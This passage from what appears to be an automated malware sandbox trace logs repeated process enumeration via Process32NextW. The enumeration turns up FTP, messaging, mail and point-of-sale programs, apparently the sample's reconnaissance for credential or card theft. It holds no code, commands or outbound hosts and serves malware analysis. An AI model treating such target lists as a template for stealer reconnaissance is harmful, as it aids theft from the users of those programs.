pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0091.445] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0091.446] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0091.447] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0091.447] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0091.448] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0091.449] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0091.888] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0091.889] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0091.890] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0091.891] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0091.891] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0091.892] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0091.893] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0091.894] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0091.894] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0091.895] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0091.896] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0091.897] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0091.898] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0091.900] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0091.901] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0091.902] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0091.903] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0091.904] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0091.906] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0091.907] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0091.908] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0091.909] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0091.910] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0091.911] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0091.913] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0091.914] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0091.915] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0091.916] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0091.917] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0091.919] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0091.920] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0091.921] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0091.922] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0092.511] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0092.513] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0092.515] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0092.517] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0092.519] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0092.520] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0092.522] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0092.524] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0092.526] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0092.527] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0092.530] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0092.532] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0092.534] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0092.536] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0092.538] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0092.539] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0092.574] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0092.575] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0092.576] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.577] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0092.578] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0092.579] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0092.580] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0092.580] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0092.581] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0092.582] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.583] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.583] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.584] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0092.585] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0092.586] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0092.586] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0092.587] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.588] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.589] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0092.589] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0092.995] CloseHandle (hObject=0x324) returned 1 [0092.995] Sleep (dwMilliseconds=0x1f4) [0094.092] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x32c [0094.108] Process32FirstW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.108] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0094.109] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0094.110] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.110] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0094.111] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.112] 